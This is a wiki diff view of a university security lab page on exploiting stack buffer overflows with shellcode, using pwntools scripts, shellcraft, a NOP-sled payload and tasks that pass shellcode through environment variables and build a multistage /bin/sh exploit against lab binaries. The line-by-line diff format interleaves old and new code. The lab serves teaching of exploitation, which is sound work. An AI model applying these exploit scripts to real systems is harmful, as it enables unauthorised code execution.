Differences

This shows you the differences between two versions of the page.

Link to this comparison view

cns:labs:lab-05 [2019/10/28 12:07]
cristina.popescu
cns:labs:lab-05 [2022/11/07 14:44] (current)
mihai.dumitru2201 [Tasks]
Line 1: Line 1:
 ====== Lab 05 - Exploiting. Shellcodes (Part 2) ====== ====== Lab 05 - Exploiting. Shellcodes (Part 2) ======
- 
-===== Resources ===== 
- 
-  * [[http://​shell-storm.org/​shellcode/​|Shellstorm - A collection of shellcodes]] 
-  * [[https://​trailofbits.github.io/​ctf/​exploits/​README.html|TrailofBits guide to exploiting binaries]] 
-  * [[http://​security.cs.pub.ro/​hexcellents/​wiki/​|Hexcellents - A collection of binary exploitation resources]] 
-  * [[https://​docs.pwntools.com/​en/​stable/​|Pwntools Documentation]] 
- 
-===== Lab Support Files ===== 
- 
-We will use this [[http://​elf.cs.pub.ro/​oss/​res/​labs/​lab-05.tar.gz|lab archive]] throughout the lab. 
- 
-Please download the lab archive an then unpack it using the commands below: 
- 
-<code bash> 
-student@mjolnir:​~$ wget http://​elf.cs.pub.ro/​oss/​res/​labs/​lab-05.tar.gz 
-student@mjolnir:​~$ tar xzf lab-05.tar.gz 
-</​code>​ 
- 
-After unpacking we will get the ''​lab-05/''​ folder that we will use for the lab: 
- 
-<code bash> 
-student@mjolnir:​~$ cd lab-05/ 
-student@mjolnir:​~/​lab-05$ ls 
-1_env_var ​ 2_640k 
-</​code>​ 
- 
-You can use the demos from lecture 05: 
-<code bash> 
-student@mjolnir:​~$ wget http://​elf.cs.pub.ro/​cns/​res/​lectures/​lecture-05-demo.zip 
-student@mjolnir:​~$ unzip lecture-05-demo.zip 
-student@mjolnir:​~$ cd vuln/ 
-student@mjolnir:​~/​vuln$ ls 
-01-segfault ​ 02-call-main ​ 03-send-shellcode ​ 04-shellcode-env 
-</​code>​ 
  
 ===== Intro ===== ===== Intro =====
Line 45: Line 10:
   * Disable it for a newly spawned shell (and subsequent processes):<​code bash>   * Disable it for a newly spawned shell (and subsequent processes):<​code bash>
 setarch i386 -R /bin/bash setarch i386 -R /bin/bash
-</​code>​ +</​code>​\\ You can re-enable it by quitting the shell (such as using the ''​exit''​ command or the ''​Ctrl+d''​ shortcut).
-    * You can re-enable it by quitting the shell (such as using the ''​exit''​ command or the ''​Ctrl+d''​ shortcut).+
   * Disable it system-wide:<​code bash>   * Disable it system-wide:<​code bash>
 echo 0 | sudo tee /​proc/​sys/​kernel/​randomize_va_space echo 0 | sudo tee /​proc/​sys/​kernel/​randomize_va_space
 </​code>​ </​code>​
 +
     * You can re-enable it system-wide:<​code bash>     * You can re-enable it system-wide:<​code bash>
-echo | sudo tee /​proc/​sys/​kernel/​randomize_va_space+echo | sudo tee /​proc/​sys/​kernel/​randomize_va_space
 </​code>​ </​code>​
 </​note>​ </​note>​
Line 75: Line 40:
 </​code>​ </​code>​
  
-We can send and receive data from a local or remote process via ''​send'',​ ''​sendline'',​ ''​recv'',​ ''​recvline''​ and ''​recvuntil''​.+We can send and receive data from a local or remote process via ''​send'',​ ''​sendline'',​ ''​recv'',​ ''​recvline'',​ ''​recvlines''​ and ''​recvuntil''​.
  
 Let's construct a complete example in which we interact with a local process. Let's construct a complete example in which we interact with a local process.
Line 114: Line 79:
 result = io.recvline() result = io.recvline()
  
-print "Got: " + result+print(b"Got: " + result)
  
 io.interactive() io.interactive()
Line 150: Line 115:
  
     # Parse the result     # Parse the result
-    leaked_char = result.split('​go:​ '​)[1].split('​ '​)[1].split('​\n'​)[0]+    leaked_char = result.split(b'go: '​)[1].split(b' '​)[1].split(b'​\n'​)[0]
     return leaked_char     return leaked_char
  
Line 158: Line 123:
  
 for i in range(-10,​0):​ for i in range(-10,​0):​
-    flag += leak_char(i)+    flag += leak_char(i).decode("​utf-8"​)
  
-print "The flag is: " + flag+print("The flag is: " + flag)
 io.close() io.close()
 </​code>​ </​code>​
Line 188: Line 153:
     # Here you go\n     # Here you go\n
     result = io.recvline()     result = io.recvline()
-    log.info("​Got back raw response: " ​result)+    log.info("​Got back raw response: ​{}".format(result))
  
     # Parse the result     # Parse the result
-    leaked_char = result.split('​go:​ '​)[1].split('​ '​)[1].split('​\n'​)[0] +    leaked_char = result.split(b'go: '​)[1].split(b' '​)[1].split(b'​\n'​)[0] 
-    log.info("​Parsed char: " ​leaked_char)+    log.info("​Parsed char: {}".format(leaked_char))
     return leaked_char     return leaked_char
 </​code>​ </​code>​
Line 274: Line 239:
     f.write(e.get_data())     f.write(e.get_data())
 </​code>​ </​code>​
 +
 +<note tip>
 +This will result in a binary named ''​test_shell''​ which executes the necessary assembly code to spawn a shell.
 +
 +<​code>​
 +$ chmod u+x test_shell
 +$ ./​test_shell
 +</​code>​
 +
 +</​note>​
  
 ==== Shellcode generation ==== ==== Shellcode generation ====
Line 280: Line 255:
  
 <code asm> <code asm>
-print shellcraft.read(0,​ 0xffffeeb0, 20) # Construct a shellcode which reads from stdin to a buffer on the stack 20 bytes+print(shellcraft.read(0,​ 0xffffeeb0, 20)) # Construct a shellcode which reads from stdin to a buffer on the stack 20 bytes
     /* call read(0, 0xffffeeb0, 0x14) */     /* call read(0, 0xffffeeb0, 0x14) */
     push (SYS_read) /* 3 */     push (SYS_read) /* 3 */
Line 295: Line 270:
  
 <code asm> <code asm>
-print shellcraft.arm.read(0,​ 0xffffeeb0, 20)+print(shellcraft.arm.read(0,​ 0xffffeeb0, 20))
     /* call read(0, 4294962864, 20) */     /* call read(0, 4294962864, 20) */
     eor  r0, r0 /* 0 (#0) */     eor  r0, r0 /* 0 (#0) */
Line 304: Line 279:
     svc  0     svc  0
  
-print shellcraft.mips.read(0,​ 0xffffeeb0, 20)+print(shellcraft.mips.read(0,​ 0xffffeeb0, 20))
     /* call read(0, 0xffffeeb0, 0x14) */     /* call read(0, 0xffffeeb0, 0x14) */
     slti $a0, $zero, 0xFFFF /* $a0 = 0 */     slti $a0, $zero, 0xFFFF /* $a0 = 0 */
Line 316: Line 291:
  
 These shellcodes can be directly assembled using ''​asm''​ inside your script, and given to the exploited process via the ''​send*''​ functions. These shellcodes can be directly assembled using ''​asm''​ inside your script, and given to the exploited process via the ''​send*''​ functions.
 +
 +<code asm>
 +  shellcode = asm('''​
 +       mov rdi, 0
 +       mov rax, 60
 +       ​syscall
 +''',​ arch = '​amd64'​)
 + </​code>​
 +
 +<note tip>Most of the time you'll be working with as specific vulnerable program. To avoid specifing architecture for the ''​asm''​ function or to ''​shellcraft''​ you can define the context at the start of the script which will imply the architecture from the binary header.
 +
 +<code python>
 +context.binary = '​./​vuln_program'​
 +  ​
 +shellcode = asm('''​
 +       mov rdi, 0
 +       mov rax, 60
 +       ​syscall
 +'''​)
 +print(shellcraft.sh())
 + </​code>​
 +
 +</​note>​
  
 ==== GDB integration ==== ==== GDB integration ====
Line 321: Line 319:
 Most importantly,​ ''​pwntools''​ provides GDB integration,​ which is extremely useful. Most importantly,​ ''​pwntools''​ provides GDB integration,​ which is extremely useful.
  
-Let's follow an example using the vulnerable binary from [[:cns:​labs:​lab-06#​phase_1recon|lab 06]]:+Let's follow an example using the vulnerable binary from the [[cns:​labs:​lab-04|]] tutorial.
  
 <code python> <code python>
Line 327: Line 325:
 from pwn import * from pwn import *
  
-ret_offset = 68 +ret_offset = 72 
-buf_addr = 0xffffcee8+buf_addr = 0x7fffffffd710
 ret_address = buf_addr+ret_offset+16 ret_address = buf_addr+ret_offset+16
-payload = ''​ 
  
-p = process('vuln')+# This sets several relevant things in the context (such as endianess,​ 
 +# architecture etc.), based on the given binary'​s properties. 
 +# We could also set them manually: 
 +# context.arch = "​amd64"​ 
 +context.binary = "​vuln"​ 
 +p = process("vuln") 
  
 +payload = b""​
 # Garbage # Garbage
-payload += ret_offset * 'A'+payload += ret_offset * b"A"
  
 # Overwrite ret_address,​ taking endianness into account # Overwrite ret_address,​ taking endianness into account
-payload += p32(ret_address)+payload += pack(ret_address)
  
 # Add nopsled # Add nopsled
-nops = '​\x90'​*100+nops = asm("​nop"​)*100
  
-# Alternative:​ asm('​nop'​),​ but the above is simpler and faster 
 payload += nops payload += nops
  
Line 393: Line 396:
  
 ===== Tasks ===== ===== Tasks =====
 +
 +All content necessary for the CNS laboratory tasks can be found in [[cns:​resources:​repo|the CNS public repository]]. ​
 +
 ==== 1. Passing shellcode through the environment ​ ==== ==== 1. Passing shellcode through the environment ​ ====
 Navigate to the ''​1_env_var''​ directory. Run ''​make''​. Navigate to the ''​1_env_var''​ directory. Run ''​make''​.
Line 412: Line 418:
 </​code>​ </​code>​
  
-This is the address at which you will return ​to. Just to be sure that you overwrite ​the return address, write the env var address ​multiple times in the buffer (as much as ''​strncpy'' ​allows it).+<note tip>You can also use pwntools ​to pass the env var: 
 +<code python>​ 
 +from pwn import * 
 +p = process(['​./​getenv',​ '​A'​],​ env={'​A':​ shellcode}) 
 +print(p.recvline()) 
 +</​code>​ 
 + 
 +This way you can do the whole exploit with a python script: 
 +  - run ''​getenv''​ to leak the address 
 +  - parse the output of ''​getenv'' ​ 
 +  - build the payload and send to ''​vuln''​ 
 +</​note>​ 
 + 
 +This is the address at which you will return to.
  
 ==== 2. Multistage exploit ​ ==== ==== 2. Multistage exploit ​ ====
Line 426: Line 445:
  
 You can use the leak to return exactly to the start of your buffer in order to use all of our available 20 bytes. Use them to call ''​read(0,​ buf+return_offset,​ 200)''​. Write a small shellcode which does this. Check using peda if the ''​read''​ is being called i.e. the program enters a blocked state in which it awaits input. You can use the leak to return exactly to the start of your buffer in order to use all of our available 20 bytes. Use them to call ''​read(0,​ buf+return_offset,​ 200)''​. Write a small shellcode which does this. Check using peda if the ''​read''​ is being called i.e. the program enters a blocked state in which it awaits input.
 +
 +<note tip> The padding ''​nops''​ added in ''​skel.py''​ will make sure that the second shellcode will flow from the first without additional jumps </​note>​
  
 === c. Construct the second stage  === === c. Construct the second stage  ===
Line 436: Line 457:
  
 <note tip> <note tip>
-In order to get ''/​bin/​sh''​ onto the stack, your shellcode ​should ​look something like this: +This stage can be solved in different ways: 
-<code asm>+ 
 +  * If you want to avoid jumping you can add ''/​bin/​sh''​ at the end of the shellcode, the compute the sring address based on shellcode size 
 +  * In order to get ''/​bin/​sh''​ onto the stack, your shellcode ​could look something like this: \\ <code asm>
 jmp <​offset>​ ; determine through trial and error jmp <​offset>​ ; determine through trial and error
-'/​bin/​sh'\0+'/​bin/​sh\0'
 ; code continues here ; code continues here
-</​code>​+</​code> ​\\ This will effectively jump over the ''/​bin/​sh''​ string on the stack, which you can then use for your shellcode. Without this initial **jmp** instruction,​ the string will be interpreted as instructions!
  
-This will effectively jump over the ''/​bin/​sh''​ string on the stack, which you can then use for your shellcode. Without this initial ​**jmp** instruction,​ the string will be interpreted as instructions! +  ​The "''​call''​ before defining a string"​ trick from the last session to get ''/​bin/​sh''​ onto the stack might not work because it will probably overlap with the current stack (the ''​call''​ and ''​pop''​ instruction might overwrite the shellcode).
- +
-You can also use the "''​call''​ before defining a string"​ trick from the last session to get ''/​bin/​sh''​ onto the stack.+
 </​note>​ </​note>​
 +
 +
 +===== Resources =====
 +
 +  * [[http://​shell-storm.org/​shellcode/​|Shellstorm - A collection of shellcodes]]
 +  * [[https://​trailofbits.github.io/​ctf/​exploits/​README.html|TrailofBits guide to exploiting binaries]]
 +  * [[http://​security.cs.pub.ro/​hexcellents/​wiki/​|Hexcellents - A collection of binary exploitation resources]]
 +  * [[https://​docs.pwntools.com/​en/​stable/​|Pwntools Documentation]]
 +
cns/labs/lab-05.1572257238.txt.gz · Last modified: 2019/10/28 12:07 by cristina.popescu
CC Attribution-Share Alike 3.0 Unported
www.chimeric.de Valid CSS Driven by DokuWiki do yourself a favour and use a real browser - get firefox!! Recent changes RSS feed Valid XHTML 1.0